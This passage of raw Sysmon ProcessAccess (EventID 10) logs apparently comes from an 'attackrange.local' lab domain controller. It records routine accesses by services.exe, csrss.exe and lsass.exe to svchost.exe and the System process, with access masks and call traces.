11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1049,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1050,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.844\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.844","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1051,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1052,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 